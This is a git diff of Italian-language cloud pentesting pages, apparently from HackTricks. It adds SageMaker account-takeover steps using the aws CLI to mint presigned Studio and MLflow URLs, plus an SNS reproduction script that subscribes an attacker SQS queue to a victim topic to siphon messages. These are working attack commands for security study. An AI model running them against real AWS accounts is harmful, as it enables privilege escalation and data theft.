+aws sagemaker list-user-profiles --domain-id-equals $DOM
+TARGET_USER=<UserProfileName>
+```
+2) Generare un URL pre-signed (valido ~5 minuti per impostazione predefinita)
+```bash
+aws sagemaker create-presigned-domain-url \
+--domain-id $DOM \
+--user-profile-name $TARGET_USER \
+--query AuthorizedUrl --output text
+```
+3) Apri l'URL restituito in un browser per accedere a Studio come utente target. In un terminale Jupyter all'interno di Studio verifica l'identità effettiva:
+```bash
+aws sts get-caller-identity
+```
+Note:
+- `--landing-uri` può essere omesso. Alcuni valori (es., `app:JupyterLab:/lab`) possono essere rifiutati a seconda della variante/versione di Studio; i valori di default tipicamente reindirizzano alla home dello Studio e poi a Jupyter.
+- Le policy dell'organizzazione/restrizioni sugli endpoint VPC possono comunque bloccare l'accesso alla rete; il token minting non richiede l'accesso alla console o `iam:PassRole`.
+
+### Impatto
+- Lateral movement e privilege escalation assumendo qualsiasi Studio `UserProfile` il cui ARN sia consentito, ereditandone il `ExecutionRole` e il filesystem/le app.
+
+### Evidenza (da un test controllato)
+- Con solo `sagemaker:CreatePresignedDomainUrl` su un `UserProfile` target, il ruolo dell'attaccante ha restituito con successo un `AuthorizedUrl` come:
+```
+https://studio-d-xxxxxxxxxxxx.studio.<region>.sagemaker.aws/auth?token=eyJhbGciOi...
+```
+- Una richiesta HTTP diretta risponde con un redirect (HTTP 302) a Studio, confermando che l'URL è valido e attivo fino alla scadenza.
+
+
+## SageMaker MLflow Tracking Server - ATO via CreatePresignedMlflowTrackingServerUrl
+
+### Descrizione
+Un'identità con il permesso di chiamare `sagemaker:CreatePresignedMlflowTrackingServerUrl` per un SageMaker MLflow Tracking Server target può generare un URL presigned monouso che autentica direttamente alla managed MLflow UI per quel server. Questo concede lo stesso accesso che avrebbe un utente legittimo al server (visualizzare/creare experiments e runs, e scaricare/caricare artifacts nello S3 artifact store del server) senza accesso alla console o `iam:PassRole`.
+
+### Requisiti
+- Un SageMaker MLflow Tracking Server nell'account/regione e il suo nome.
+- Il principal attaccante necessita di `sagemaker:CreatePresignedMlflowTrackingServerUrl` sulla risorsa target del MLflow Tracking Server (o `*`).
+
+Esempio di policy minimale (limitato a un Tracking Server):
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Action": "sagemaker:CreatePresignedMlflowTrackingServerUrl",
+"Resource": "arn:aws:sagemaker:<region>:<account-id>:mlflow-tracking-server/<tracking-server-name>"
+}
+]
+}
+```
+### Passaggi di abuso
+
+1) Elenca gli MLflow Tracking Servers che puoi targettare e scegli un nome
+```bash
+aws sagemaker list-mlflow-tracking-servers \
+--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
+TS_NAME=<tracking-server-name>
+```
+2) Generare un URL presigned per l'UI di MLflow (valido per un breve periodo)
+```bash
+aws sagemaker create-presigned-mlflow-tracking-server-url \
+--tracking-server-name "$TS_NAME" \
+--expires-in-seconds 300 \
+--session-expiration-duration-in-seconds 1800 \
+--query AuthorizedUrl --output text
+```
+3) Apri l'URL restituito in un browser per accedere alla MLflow UI come utente autenticato per quel Tracking Server.
+
+Note:
+- Il Tracking Server deve essere in uno stato pronto (es., `Created/Active`). Se è ancora in fase di `Creating`, la chiamata verrà rifiutata.
+- Il presigned URL è monouso e di breve durata; genera uno nuovo quando necessario.
+
+### Impatto
+- Accesso diretto alla MLflow UI gestita per il Tracking Server target, consentendo la visualizzazione e la modifica di esperimenti/run e il recupero o l'upload di artifact memorizzati nello S3 artifact store configurato del server, nei limiti dei permessi imposti dalla configurazione del server.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
deleted file mode 100644
index 0fdf0498d..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# AWS - SNS Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SNS
-
-Per ulteriori informazioni su SNS consulta:
-
-{{#ref}}
-../aws-services/aws-sns-enum.md
-{{#endref}}
-
-### Aperto a Tutti
-
-Quando configuri un argomento SNS dalla console web, è possibile indicare che **Chiunque può pubblicare e iscriversi** all'argomento:
-
-<figure><img src="../../../images/image (212).png" alt=""><figcaption></figcaption></figure>
-
-Quindi, se **trovi l'ARN degli argomenti** all'interno dell'account (o forzando i nomi potenziali per gli argomenti) puoi **controllare** se puoi **pubblicare** o **iscriverti** a **loro**.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md
new file mode 100644
index 000000000..e2f162775
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md
@@ -0,0 +1,55 @@
+# AWS - SNS Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SNS
+
+Per maggiori informazioni su SNS consulta:
+
+{{#ref}}
+../../aws-services/aws-sns-enum.md
+{{#endref}}
+
+### Aperto a tutti
+
+Quando configuri un topic SNS dalla web console, è possibile indicare che **Everyone can publish and subscribe** al topic:
+
+<figure><img src="../../../../images/image (212).png" alt=""><figcaption></figcaption></figure>
+
+Quindi, se trovi l'ARN dei topic all'interno dell'account (o effettuando brute forcing sui possibili nomi dei topic), puoi verificare se puoi **publish** o **subscribe** a **them**.
+
+Questo equivale a una resource policy di un topic SNS che autorizza `sns:Subscribe` a `*` (o ad account esterni): qualsiasi principal può creare una subscription che consegna tutti i futuri messaggi del topic a una SQS queue di cui è proprietario. Quando il proprietario della queue avvia la subscription, non è richiesta alcuna conferma umana per gli SQS endpoints.
+
+<details>
+<summary>Riproduzione (us-east-1)</summary>
+```bash
+REGION=us-east-1
+# Victim account (topic owner)
+VICTIM_TOPIC_ARN=$(aws sns create-topic --name exfil-victim-topic-$(date +%s) --region $REGION --query TopicArn --output text)
+
+# Open the topic to anyone subscribing
+cat > /tmp/topic-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"OpenSubscribe","Effect":"Allow","Principal":"*","Action":"sns:Subscribe","Resource":"$VICTIM_TOPIC_ARN"}]}
+JSON
+aws sns set-topic-attributes --region $REGION --topic-arn "$VICTIM_TOPIC_ARN" --attribute-name Policy --attribute-value file:///tmp/topic-policy.json
+
+# Attacker account (queue owner)
+ATTACKER_Q_URL=$(aws sqs create-queue --queue-name attacker-exfil-queue-$(date +%s) --region $REGION --query QueueUrl --output text)
+ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# Allow the victim topic to send to the attacker queue
+cat > /tmp/sqs-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"AllowVictimTopicSend","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"sqs:SendMessage","Resource":"$ATTACKER_Q_ARN","Condition":{"ArnEquals":{"aws:SourceArn":"$VICTIM_TOPIC_ARN"}}}]}
+JSON
+aws sqs set-queue-attributes --queue-url "$ATTACKER_Q_URL" --region $REGION --attributes Policy="$(cat /tmp/sqs-policy.json)"
+
+# Subscribe the attacker queue to the victim topic (auto-confirmed for SQS)
+SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$VICTIM_TOPIC_ARN" --protocol sqs --notification-endpoint "$ATTACKER_Q_ARN" --query SubscriptionArn --output text)
+
+# Validation: publish and receive
+aws sns publish --region $REGION --topic-arn "$VICTIM_TOPIC_ARN" --message {pii:ssn:123-45-6789}
+aws sqs receive-message --queue-url "$ATTACKER_Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --query Messages[0].Body --output text
+```
+</details>
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
deleted file mode 100644
index 4bdb3c787..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# AWS - SQS Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SQS
-
-Per ulteriori informazioni su SQS controlla:
-
-{{#ref}}
-../aws-services/aws-sqs-and-sns-enum.md
-{{#endref}}
-
-### Modello URL pubblico
-```
-https://sqs.[region].amazonaws.com/[account-id]/{user_provided}
-```
-### Controlla i Permessi
-
-È possibile configurare in modo errato una policy della coda SQS e concedere permessi a tutti in AWS per inviare e ricevere messaggi, quindi se ottieni l'ARN delle code prova a vedere se puoi accedervi.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md
new file mode 100644
index 000000000..b98f9c759
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md
@@ -0,0 +1,21 @@
+# AWS - SQS Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SQS
+
+Per maggiori informazioni su SQS, consulta:
+
+{{#ref}}
+../../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### Modello URL pubblico
+```
+https://sqs.[region].amazonaws.com/[account-id]/{user_provided}
+```
+### Controlla i permessi
+
+È possibile configurare erroneamente una policy di una coda SQS e concedere a tutti in AWS i permessi per inviare e ricevere messaggi, quindi se ottieni l'ARN delle code prova se puoi accedervi.
+
+{{#include ../../../../banners/hacktricks-training.md}}